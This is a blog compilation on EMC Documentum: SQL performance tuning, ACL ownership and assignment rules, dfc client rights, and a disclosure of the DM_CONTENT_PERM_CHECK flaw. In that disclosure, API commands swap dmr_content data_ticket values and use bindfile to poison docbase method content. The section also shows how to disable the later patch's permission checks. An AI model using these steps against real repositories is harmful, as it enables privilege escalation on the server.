Why CURSOR_SHARING=FORCE sucks. Part II

I believe everybody who maintains Documentum repository with intensive workflow do see following query in the top of database performance reports:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     wis.r_runtime_state >= 0
                                        AND wis.r_runtime_state <= 1
                                        AND wis.r_auto_method_id >
                                               '0000000000000000'
                                        AND wis.a_wq_name = ' '
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

This query is performed by workflow agent and their bad performance actually reveals a poor database design because dmi_workitem_s table does not contain column with high selectivity:

  • records with r_runtime_state IN (0, 1) relates to both auto and manual activities
  • records with r_auto_method_id > ‘0000000000000000’ relates to both completed and non-completed auto activities

Actually, in case of MSSQL and PostgreSQL it would possible to create “ideal” index for this query like:

CREATE INDEX idx_auto_tasls
   ON dmi_workitem_s (r_object_id, r_next_retry_date, r_creation_date)
   WHERE wis.r_runtime_state >= 0
     AND wis.r_runtime_state <= 1
     AND wis.r_auto_method_id > '0000000000000000'
     AND wis.a_wq_name = ' ';

because both MSSQL and PostgreSQL support partial indexes, in case of Oracle the solution is not so straightforward, because it either required to rewrite query to the following form:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     CASE
                                               WHEN     wis.r_runtime_state >=
                                                           0
                                                    AND wis.r_runtime_state <=
                                                           1
                                                    AND wis.r_auto_method_id >
                                                           '0000000000000000'
                                                    AND wis.a_wq_name = ' '
                                               THEN
                                                  1
                                            END = 1
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

and create following functional-based index:

CREATE INDEX idx_auto_tasks
   ON dmi_workitem_s (
      CASE
         WHEN     r_runtime_state >= 0
              AND r_runtime_state <= 1
              AND r_auto_method_id > '0000000000000000'
              AND a_wq_name = ' '
         THEN
            1
      END);

or create materialized view like:

CREATE MATERIALIZED VIEW mv_auto_tasks
   REFRESH FAST ON COMMIT
   ENABLE QUERY REWRITE
AS
   SELECT wis.r_object_id, wis.r_creation_date, wis.r_next_retry_date
     FROM dmi_workitem_s wis
    WHERE     wis.r_runtime_state >= 0
          AND wis.r_runtime_state <= 1
          AND wis.r_auto_method_id > '0000000000000000'
          AND wis.a_wq_name = ' ';

and take advantage of query rewrite:

---------------------------------------------------------------------------------------------------------
| Id  | Operation                          | Name               | Rows  | Bytes | Cost (%CPU)| Time     |
---------------------------------------------------------------------------------------------------------
|   0 | UPDATE STATEMENT                   |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   1 |  UPDATE                            | DMI_WORKITEM_S     |       |       |            |          |
|   2 |   NESTED LOOPS                     |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   3 |    VIEW                            |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  4 |     COUNT STOPKEY                  |                    |       |       |            |          |
|   5 |      VIEW                          |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  6 |       SORT ORDER BY STOPKEY        |                    |     1 |    28 |     3  (34)| 00:00:01 |
|*  7 |        MAT_VIEW REWRITE ACCESS FULL| MV_AUTO_TASKS      |     1 |    28 |     2   (0)| 00:00:01 |
|*  8 |    INDEX UNIQUE SCAN               | D_1F024BE98000018C |     1 |    60 |     0   (0)| 00:00:01 |
---------------------------------------------------------------------------------------------------------
Predicate Information (identified by operation id):
---------------------------------------------------
   4 - filter(ROWNUM<=90)
   6 - filter(ROWNUM<=90)
   7 - filter("MV_AUTO_TASKS"."R_NEXT_RETRY_DATE"<SYSDATE@!)
   8 - access("R_OBJECT_ID"="WIS2"."R_OBJECT_ID")

Unfortunately, due to CURSOR_SHARING=FORCE recommendation neither option is applicable, and the only “option” is use hex editor to modify documentum binary – in case of oracle we need to place CURSOR_SHARING_EXACT hint and modify where clause.

Why CURSOR_SHARING=FORCE sucks

As you might have guessed, my colleagues involved my in load testing activities. Actually, there is nothing challenging in writing load tests (I do think that analysis is another topic), but forcing Documentum to work under load is a big challenge. On first iteration we got following docbase sessions graph:

Which is actually weird, because I do suppose that collected metrics should somehow reflect load, but in our scenario we put ~ constant load, but docbase sessions metric not seemed to be a constant 😦 , which could mean one of the following:

  • I’m an idiot and my estimations were wrong, but in this case it means that customer should not use Documentum due to unpredictable performance
  • Something was wrong on Documentum side

Let’s check database side …

Recommendation 1: SQL Tuning
Estimated benefit is 22.41 active sessions, 56.8% of total activity.
--------------------------------------------------------------------
Action
   Investigate the SELECT statement with SQL_ID "34h8xv6j5mx04" for 
   possible performance improvements. You can supplement the information 
   given here with an ASH report for this SQL_ID.
   Related Object
      SQL statement with SQL_ID 34h8xv6j5mx04.
      select gs.group_name, gs.is_dynamic, 
      gs.is_dynamic_default,gs.is_protected, gs.is_module_only from 
      dm_group_s gs, dm_group_r gr where gs.r_object_id = gr.r_object_id 
      and gs.is_dynamic = :"SYS_B_0" and gs.is_dynamic_default = :"SYS_B_1" 
      and (gr.users_names = :P0 or gr.groups_names = :"SYS_B_2" or 
      gr.groups_names in (select gr1.i_nondyn_supergroups_names from 
      dm_group_r gr1, dm_group_r gr2 where gr1.r_object_id = 
      gr2.r_object_id and (gr2.users_names = :P1 or gr2.groups_names = 
      :"SYS_B_3") and gr1.i_nondyn_supergroups_names IS NOT NULL))


SQL ID: 34h8xv6j5mx04                     DB/Inst: ECM/ECM      Snaps: 13-14
-> 1st Capture and Last Capture Snap IDs
   refer to Snapshot IDs witin the snapshot range
-> select gs.group_name, gs.is_dynamic, gs.is_dynamic_default,gs.is_prote...

    Plan Hash           Total Elapsed                 1st Capture   Last Capture
#   Value                    Time(ms)    Executions       Snap ID        Snap ID
--- ---------------- ---------------- ------------- ------------- --------------
1   2451896125             85,924,271       16,7191            14             14
          -------------------------------------------------------------       

Execution Plan
------------------------------------------------------------------------------------------------------------------------
| Id  | Operation                           | Name               | Rows  | Bytes | Cost (%CPU)| Time     | Pstart| Pstop
------------------------------------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT                    |                    |       |       | 15936 (100)|          |       |      
|   1 |  FILTER                             |                    |       |       |            |          |       |      
|   2 |   PX COORDINATOR                    |                    |       |       |            |          |       |      
|   3 |    PX SEND QC (RANDOM)              | :TQ10001           |  9328K|   676M| 15936   (2)| 00:03:12 |       |      
|   4 |     HASH JOIN                       |                    |  9328K|   676M| 15936   (2)| 00:03:12 |       |      
|   5 |      BUFFER SORT                    |                    |       |       |            |          |       |      
|   6 |       PART JOIN FILTER CREATE       | :BF0000            |   386K|    19M|  1859   (1)| 00:00:23 |       |      
|   7 |        PX RECEIVE                   |                    |   386K|    19M|  1859   (1)| 00:00:23 |       |      
|   8 |         PX SEND PARTITION (KEY)     | :TQ10000           |   386K|    19M|  1859   (1)| 00:00:23 |       |      
|   9 |          TABLE ACCESS BY INDEX ROWID| DM_GROUP_S         |   386K|    19M|  1859   (1)| 00:00:23 |       |      
|  10 |           INDEX RANGE SCAN          | D_XXXXXXXX8000010A |   773K|       |   124   (1)| 00:00:02 |       |      
|  11 |      PX PARTITION HASH JOIN-FILTER  |                    |    18M|   407M| 14035   (2)| 00:02:49 |:BF0000|:BF000
|  12 |       TABLE ACCESS FULL             | DM_GROUP_R         |    18M|   407M| 14035   (2)| 00:02:49 |:BF0000|:BF000
|  13 |   NESTED LOOPS                      |                    |     4 |   228 |     3   (0)| 00:00:01 |       |      
|  14 |    NESTED LOOPS                     |                    |    88 |   228 |     3   (0)| 00:00:01 |       |      
|  15 |     PARTITION HASH ALL              |                    |     4 |   136 |     2   (0)| 00:00:01 |     1 |    20
|  16 |      INDEX RANGE SCAN               | D_XXXXXXXX80000056 |     4 |   136 |     2   (0)| 00:00:01 |     1 |    20
|  17 |     PARTITION HASH ITERATOR         |                    |    22 |       |     1   (0)| 00:00:01 |   KEY |   KEY
|  18 |      INDEX RANGE SCAN               | D_XXXXXXXX80000109 |    22 |       |     1   (0)| 00:00:01 |   KEY |   KEY
|  19 |    TABLE ACCESS BY LOCAL INDEX ROWID| DM_GROUP_R         |     1 |    23 |     1   (0)| 00:00:01 |     1 |     1
------------------------------------------------------------------------------------------------------------------------
 
Full SQL Text

SQL ID       SQL Text                                                         
------------ -----------------------------------------------------------------
34h8xv6j5mx0 select gs.group_name, gs.is_dynamic, gs.is_dynamic_default, gs.is
             _protected, gs.is_module_only from dm_group_s gs, dm_group_r gr w
             here gs.r_object_id = gr.r_object_id and gs.is_dynamic = :"SYS_B_
             0" and gs.is_dynamic_default = :"SYS_B_1" and (gr.users_names = :
             P0 or gr.groups_names = :"SYS_B_2" or gr.groups_names in (select 
             gr1.i_nondyn_supergroups_names from dm_group_r gr1, dm_group_r gr
             2 where gr1.r_object_id = gr2.r_object_id and (gr2.users_names = 
             :P1 or gr2.groups_names = :"SYS_B_3") and gr1.i_nondyn_supergroup
             s_names IS NOT NULL))

That is awesome! Single SQL query consumes 60% of database resources! Before trying to optimize this query we need to figure out how it really looks – how can we understand that we optimized some query if we don’t know how to execute it? And here we are:

SELECT gs.group_name,
       gs.is_dynamic,
       gs.is_dynamic_default,
       gs.is_protected,
       gs.is_module_only
  FROM dm_group_s gs, dm_group_r gr
 WHERE     gs.r_object_id = gr.r_object_id
       AND gs.is_dynamic = 1
       AND gs.is_dynamic_default = 1
       AND (   gr.users_names = :P0
            OR gr.groups_names = 'dm_world'
            OR gr.groups_names IN (
          SELECT gr1.i_nondyn_supergroups_names
            FROM dm_group_r gr1, dm_group_r gr2
           WHERE     gr1.r_object_id = gr2.r_object_id
                     AND (   gr2.users_names = :P1
                             OR gr2.groups_names = 'dm_world')
                     AND gr1.i_nondyn_supergroups_names IS NOT NULL)
       );

This query is intended to return dynamic groups (gs.is_dynamic = 1 AND gs.is_dynamic_default = 1) enabled by default, now guess how many dynamic groups enabled by default does our docbase have? Zero! 60% of database resources to return empty resultset! But due to CURSOR_SHARING=FORCE Oracle do not understand that we ask him to return empty resultset and, so, it selects “suboptimal” execution plan, though the optimal is following:

--------------------------------------------------------------------------------------------------------------------------
| Id  | Operation                           | Name               | Rows  | Bytes | Cost (%CPU)| Time     | Pstart| Pstop |
--------------------------------------------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT                    |                    |     1 |    77 |     2   (0)| 00:00:01 |       |       |
|*  1 |  FILTER                             |                    |       |       |            |          |       |       |
|   2 |   NESTED LOOPS                      |                    |     1 |    77 |     2   (0)| 00:00:01 |       |       |
|   3 |    NESTED LOOPS                     |                    |    25 |    77 |     2   (0)| 00:00:01 |       |       |
|*  4 |     TABLE ACCESS BY INDEX ROWID     | DM_GROUP_S         |     1 |    53 |     1   (0)| 00:00:01 |       |       |
|*  5 |      INDEX RANGE SCAN               | D_XXXXXXXX8000010A |     1 |       |     1   (0)| 00:00:01 |       |       |
|   6 |     PARTITION HASH ITERATOR         |                    |    25 |       |     1   (0)| 00:00:01 |   KEY |   KEY |
|*  7 |      INDEX RANGE SCAN               | D_XXXXXXXX80000109 |    25 |       |     1   (0)| 00:00:01 |   KEY |   KEY |
|   8 |    TABLE ACCESS BY LOCAL INDEX ROWID| DM_GROUP_R         |    25 |   600 |     1   (0)| 00:00:01 |     1 |     1 |
|   9 |   NESTED LOOPS                      |                    |     2 |   114 |     3   (0)| 00:00:01 |       |       |
|  10 |    NESTED LOOPS                     |                    |    26 |   114 |     3   (0)| 00:00:01 |       |       |
|  11 |     PARTITION HASH ALL              |                    |    15 |   495 |     2   (0)| 00:00:01 |     1 |    20 |
|* 12 |      INDEX RANGE SCAN               | D_XXXXXXXX80000056 |    15 |   495 |     2   (0)| 00:00:01 |     1 |    20 |
|  13 |     PARTITION HASH ITERATOR         |                    |    13 |       |     1   (0)| 00:00:01 |   KEY |   KEY |
|* 14 |      INDEX RANGE SCAN               | D_XXXXXXXX80000109 |    13 |       |     1   (0)| 00:00:01 |   KEY |   KEY |
|* 15 |    TABLE ACCESS BY LOCAL INDEX ROWID| DM_GROUP_R         |     1 |    24 |     1   (0)| 00:00:01 |     1 |     1 |
--------------------------------------------------------------------------------------------------------------------------

So, we stabilised execution plan for this query and on next iteration we got following docbase sessions graph:

Good news: I’m not an idiot.

Q & A. XV

As a follow-up for XCP2 vs ACLs

I have very….hm, how to call this stupidity of ACL security model logic….I have repository with permissions inheriting from folder. Folder is created by regular user and ACL assigned to folder is owned by this user, with class set to REGULAR. When another regular user needs to add document to this folder, it is not possible, with DM_SYSOBJECT_E_INVALID_ACL_DOMAIN exception, since folder ACL is regular and thereby not alowed to be used/set by another regular user, only superuser or folder ACL owner. So, ACL from folder may not be inherited to document and document can not be created.

Why, when ACL with its entries should specify exactly who can do smth and with which permissions?
And, why default ACLs created by regular users are not PUBLIC?
And, why cant I set by some docbase configuration that all ACLs created by regular users are PUBLIC?

Well, when I said that fundamentals guide is bit confusing I was too polite, the home truth is that fundamentals guide is a piece of dog crap. Let’s explain that.

From fundamentals guide:

ACLs are either external or internal ACLs:

  • External ACLs are created explicitly by users. The name of an external ACL is determined by the user. External ACLs are managed by users, either the user who creates them or superusers.
  • Internal ACLs are created by Content Server. Internal ACLs are created in a variety of situations. For example, if a user creates a document and grants access to the document to HenryJ, Content Server assigns an internal ACL to the document. (The internal ACL is derived from the default ACL with the addition of the permission granted to HenryJ.) The names of internal ACL begin with dm_. Internal ACLs are managed by Content Server.

The external and internal ACLs are further characterized as public or private ACLs:

  • Public ACLs are available for use by any user in the repository. Public ACLs created by the repository owner are called system ACLs. System ACLs can only be managed by the repository owner. Other public ACLs can be managed by their owners or a user with Sysadmin or Superuser
    privileges.
  • Private ACLs are created and owned by a user other than the repository owner. However, unlike public ACLs, private ACLs are available for use only by their owners, and only their owners or a superuser can manage them.

From object reference guide:

acl_class (Integer) specifies whether the ACL is a regular ACL, a template, an instance of a template, or a public ACL. Valid values are:

  • 0: Regular ACL
  • 1: Template ACL
  • 2: Template instance
  • 3: Public ACL

r_is_internal (Boolean) indicates whether the ACL was created explicitly by a user or implicitly by the server.

First of all, the classification internal/external seems to be extremely confusing – I would prefer temporary/permanent terms because ACLs with r_is_iternal=TRUE are subject to deleting via dm_clean job, and because dm_clean job uses following query:

SELECT x.r_object_id
  FROM dm_acl_s x
 WHERE     x.r_is_internal = 1
       AND NOT EXISTS
                  ( (SELECT a1.r_object_id
                       FROM dm_acl_s a1, dm_sysobject_s b
                      WHERE     a1.object_name = b.acl_name
                            AND a1.owner_name = b.acl_domain
                            AND a1.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a2.r_object_id
                      FROM dm_acl_s a2, dm_user_s c
                     WHERE     a2.object_name = c.acl_name
                           AND a2.owner_name = c.acl_domain
                           AND a2.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a3.r_object_id
                      FROM dm_acl_s a3, dmi_type_info_s d
                     WHERE     a3.owner_name = d.acl_domain
                           AND a3.object_name = d.acl_name
                           AND a3.r_object_id = x.r_object_id))

it is clear that dm_clean job does not pay attention to the value of acl_class attribute. Next, when does Content Server create temporary ACLs?

  • When we directly grant access to sysobject:
    API> create,c,dm_document
    ...
    09024be980077401
    API> set,c,l,acl_name
    SET> Global User Default ACL
    ...
    OK
    API> set,c,l,acl_domain
    SET> dm_dbo
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    Global User Default ACL
    API> grant,c,l,dm_world,AccessPermit,,6
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003115
    
  • When we indirectly (via owner_permit/world_permit attributes, or when we take advantage of ACL Templates and assign new alias set to sysobject) grant access to sysobject:
    API> set,c,l,world_permit
    SET> 7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003116
    
  • Other case I will describe further

Now about ACL classes. Frankly speaking, I do not understand the phrase “ACLs available for use” here, because where are following activities which we may or may not to perform with ACLs:

  • create
  • assign to sysobject
  • modify
  • delete

so, I will try to examine all cases. At first, we need to understand what Content Server means under ACL’s owner (the value of owner_name attribute), if you think that it is valid user’s name you are wrong: actually it may be any valid user or group (technically group is also a user because all dm_group records have corresponding dm_user records), or even ‘dm_world’ keyword:

API> create,c,dm_acl
...
45024be980003117
API> set,c,l,owner_name
SET> dm_bof_registry
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003118
API> set,c,l,owner_name
SET> dm_superusers
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311b
// content server replaces dm_dbo
// by repository owner name
// and further I will do the same
API> set,c,l,owner_name
SET> dm_dbo
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003119
API> set,c,l,owner_name
SET> dm_world
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311a
API> set,c,l,owner_name
SET> non_existing_user
...
OK
API> save,c,l
...
[DM_ACL_E_USER_NOT_EXIST]error:  "The owner_name or accessor_name 'non_existing_user' 
  given in the ACL 'dm_45024be98000311a' does not exist."

And when we are talking that “user is an owner of ACL” this actually means one of following:

  • the value of owner_name ACL’s attribute is ‘dm_world’
  • the value of owner_name ACL’s attribute is the name of user
  • the value of owner_name ACL’s is a valid group and the user is a member of that group

Now the rules:

  • Nobody may create ACLs with acl_class=2 and nobody may set value of acl_class to 2:
    API> create,c,dm_acl
    ...
    45024be98000312c
    API> set,c,l,acl_class
    SET> 2
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CANT_CHANGE_INSTANCE]error:  
     "The ACL  is an instance of an ACL template."
    
  • Nobody but superusers may change value of object_name attribute (have no idea what was the cause of this restriction):
    API> retrieve,c,dm_acl where object_name='Global User Default ACL'
    ...
    45024be9800001c6
    API> grant,c,l,dm_world,AccessPermit,,7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CHANGE_OBJNAME_PRIV]error:  
      "Only SUPERUSER can change object_name."
    
    
    API> retrieve,c,dm_user where user_name=USER
    ...
    11024be980001100
    API> get,c,l,user_privileges
    ...
    8
    
  • Regular users are allowed to:
    • modify ACL if they belong to ACL’s owner
    • set ACL’s owner only to value they belong to
  • Sysadmins are allowed to:
    • modify ACL if ACL’s owner is dm_dbo, but it is not allowed to set ACL’s owner to value other than sysadmin belongs to
    • modify ACL if it’s acl_class is 3 regardless it’s owner
    • set ACL’s owner to dm_dbo – this behaviour seems to be inconsistent because in this case efficient permissions of sysadmins are the same as permissions of superusers, except object_name case:
      API> fetch,c,45024be980003137
      ...
      OK
      API> save,c,l
      ...
      [DM_ACL_E_NOT_OWNER]error:  
        "The ACL 'dm_45024be980003137' can only be modified by 
        its owner 'dmadmin' or superusers."
      
      
      API> set,c,l,owner_name
      SET> dm_dbo
      ...
      OK
      API> save,c,l
      ...
      OK
      
  • It is possible to assign ACL to sysobject only if one or more of following requirements are met
    • ACL’s acl_class is 3
    • ACL’s owner_name is dm_dbo
    • sysobject’s owner (not current user!) belongs to ACL’s owner:
      API> retrieve,c,dm_acl where owner_name='dmadmin'
      ...
      45024be9800001a9
      API> get,c,l,acl_class
      ...
      0
      API> get,c,l,object_name
      ...
      dm_45024be9800001a9
      API> create,c,dm_document
      ...
      09024be98007756b
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      [DM_SYSOBJECT_E_INVALID_ACL_DOMAIN]error:  
        "The dm_document '' is given an invalid ACL domain 'dmadmin'."
      
      // but
      API> create,c,dm_document
      ...
      09024be98007756c
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> set,c,l,owner_name
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      
    • current user is a superuser, in this case Content Server creates new temporary ACL:
      API> ?,c,select user_privileges, user_name from dm_user where user_name=USER
      user_privileges  user_name
      ---------------  ---------
                   16  dmadmin
      (1 row affected)
      
      API> retrieve,c,dm_acl where owner_name='sysadmin' and acl_class=0
      ...
      45024be980003136
      API> get,c,l,object_name
      ...
      dm_45024be980003136
      API> create,c,dm_document
      ...
      09024be980077580
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980000101
      API> set,c,l,acl_name
      SET> dm_45024be980003136
      ...
      OK
      API> set,c,l,acl_domain
      SET> sysadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980003144
      

As regards to the questions…

Yes, it is not possible to specify default acl_class even in data dictionary:

API> apply,c,,ALLOW_BASE_TYPE_CHANGES,ALLOW_CHANGE_FLAG,B,T
...
q0
API> ?,c,q0
result      
------------
T           
(1 row affected)

API> ?,c,alter type dm_acl modify (acl_class (SET default=3))
[DM_QUERY2_E_DATA_DICT_ERROR_FOR_ATTR_A_C]error:  
 "The following error(s) occurred processing an ALTER/CREATE statement 
 for type dm_acl, attribute acl_class."

[DM_DATA_DICT_E_TYPE_CANNOT_HAVE_DEFAULT_VALUE]error:  
 "You cannot specify a DEFAULT value for any attribute of the system type dm_acl."

Creating TBO for dm_acl is not an option, because temporary ACLs are created on Content Server side. On the other hand nothing prevents you from creating TBOs which will override certain IDfSysObject and IDfUser methods and you will get a full control over what is going on, the only question here is why mature product still does not support basic functionality 🙂 For example, ACL inheritance implemented in xCP2 differs from default CS implementation – when content server recognises that it is not possible to follow rules described above it creates temporary ACL (here I have no idea what behaviour is better: get exception or get different ACLs), that means EMC have spent some time on implemented new functionality, but the result is poor.

DM_CONTENT_PERM_CHECK

On May 2015 I discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.

I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:

API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:

Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000471
API> create,c,dm_document
...
09024be98003b903
API> bindfile,c,l,0,10024be980000471,0
...
OK
API> save,c,l

......

API> apply,c,06024be980000198,SAVE_CONT_ATTRS
  ,data_ticket,I,-2147439323
  ,OBJECT_TYPE,S,dmr_content
  ,IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result      
------------
           1
(1 row affected)

API> 

It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where object_name='pre_erouter2_forward'
...
10024be980000472
API> get,c,l,_permit
...
3
API> create,c,dm_document
...
09024be98003bd03
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be980000199'.No write permission for current user"

saveasnew got broken too:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> fetch,c,09024be980034157
...
OK
API> saveasnew,c,l,T
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be98000ed48'.No write permission for current user"

getpath (technically, only browse access required):

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> getpath,c,09024be980034171
...
[DM_SYSOBJECT_E_NO_READ_ACCESS]error:  
   "No read access for sysobject named '09024be980034171'"

You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:

[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0
[dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV 
starting Documentum server for repository: [DCTM_DEV]
with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log]
server pid: 97437

...

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> create,c,dm_document
...
09024be98003c100
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
OK
API> 

Setup dfc.properties properly

Can’t stop catching myself thinking about JMS high availability misfeature, or more precisely: why it is supported by workflow methods only, and it seems that all CS instances are just misconfigured. Let’s explain.

Below is a brand new CS installation, which already has one dm_client_rights record:

Connected to Documentum Server running Release 7.3.0050.0039  Linux64.Postgres
Session id is s0
API> ?,c,select r_object_id, client_id from dm_client_rights
r_object_id       client_id                               
----------------  ----------------------------------------
0802994680000582  dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka        
(1 row affected)

API> dump,c,0802994680000582
...
USER ATTRIBUTES

  object_name                     : dfc_docu73dev01_ffxlka
  title                           : 
  subject                         : 
  authors                       []: <none>
  keywords                      []: <none>
  resolution_label                : 
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  log_entry                       : 
  acl_domain                      : dmadmin
  acl_name                        : dm_4502994680000222
  language_code                   : 
  client_id                       : dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
  public_key_identifier           : 77016FB9066276A0EF4801918F27F52C7176CD2F
  host_name                       : docu73dev01
  allowed_roles                 []: <none>
  allow_all_roles                 : T
  allow_all_priv_modules          : F
  principal_auth_priv             : T
  server_trust_priv               : T
  app_name                        : 
  is_globally_managed             : F

Where did this dm_client_rights record come from? According to the log file $DM_HOME/install/logs/install.log this dm_client_rights record was created by installer:

10:25:56,168  INFO [main] com.documentum.install.server.installanywhere.actions.DiWAServerCreateBofRegistryUser - Registering Client Roles.
10:25:56,198  INFO [main] com.documentum.fc.client.security.impl.JKSKeystoreUtilForDfc - keystore file name is /u01/documentum/cs/shared/config/dfc.keystore
10:25:56,382  INFO [main] com.documentum.fc.client.impl.connection.docbase.DocbaseConnection - Object protocol version 2
10:25:56,818  INFO [main] com.documentum.fc.client.security.impl.JKSKeystoreUtilForDfc - keystore file name is /u01/documentum/cs/shared/config/dfc.keystore
10:25:56,844  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: false
10:25:57,148  INFO [main] com.documentum.fc.client.privilege.impl.PublicKeyCertificate - stored certificate for CN 
10:25:57,272  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling in DCTM_PSQL a new record with this persistent certificate:
-----BEGIN CERTIFICATE-----
MIIDHzCCAgcCEDM7pl2LftisOKZ3mYFjNigwDQYJKoZIhvcNAQELBQAwTjETMBEG
A1UECwwKRG9jdW1lbnR1bTEMMAoGA1UECgwDRU1DMSkwJwYDVQQDDCBkZmNfeHhw
YTdqaHRHRmtSZkh2clFtVUl5YWZmeGxrYTAeFw0xNzAzMTExMDEyMDVaFw0yNzAz
MDkxMDE3MDVaME4xEzARBgNVBAsMCkRvY3VtZW50dW0xDDAKBgNVBAoMA0VNQzEp
MCcGA1UEAwwgZGZjX3h4cGE3amh0R0ZrUmZIdnJRbVVJeWFmZnhsa2EwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDPY3I1TzGodyI7Q7oHuLlA4N0IdLnp
oUEZqONy5Ev1f8RJLIJGowjSQme1HPrk6ZgdyBlGkLqguRdnn6hLrBIUiZSc7XRr
OM8xCYp6wEXUuxDTpX58Q32QLInjTjftHOblav201lOQStQUcrEAcUVZ+UK/Xt1t
Q9hQUpOvXWDRxBRPpN7VdTg1lCNuNC/BjYO/yBc2zUPYsarmnM1BcyeTi6RmlfME
PUsVPMqS8muBKP/o7ZUqXVMWNFNRHVbnOCX8KHZgO4DQLp7pcgYq0ak4vQ6BEfx8
fxo/egAS84JiemOxhslxytN5cBnFmc3NCdKKVzRcZE9fecC3DMt41dYfAgMBAAEw
DQYJKoZIhvcNAQELBQADggEBAARMI7W7ggw9GJZtfsqre5+idsfcxtuMPhI+bmU/
gAb3pyZug11z29AvCcprh545agcUQgm9wlgaJFUtiktd4n6hE12G46Vu/boqxy4J
iBs3kWQd2Qeh4Qobm8xvBu0VKSiHJRmbm5xslnq3yJorBZiNjvuoFVsaYtY24kiy
AxUB5y2vgUhZeLe+0WPrBEA3/I+ciGO/Jk6KXyL9vz8+04Hx6sBfkMsY1l8aa1HH
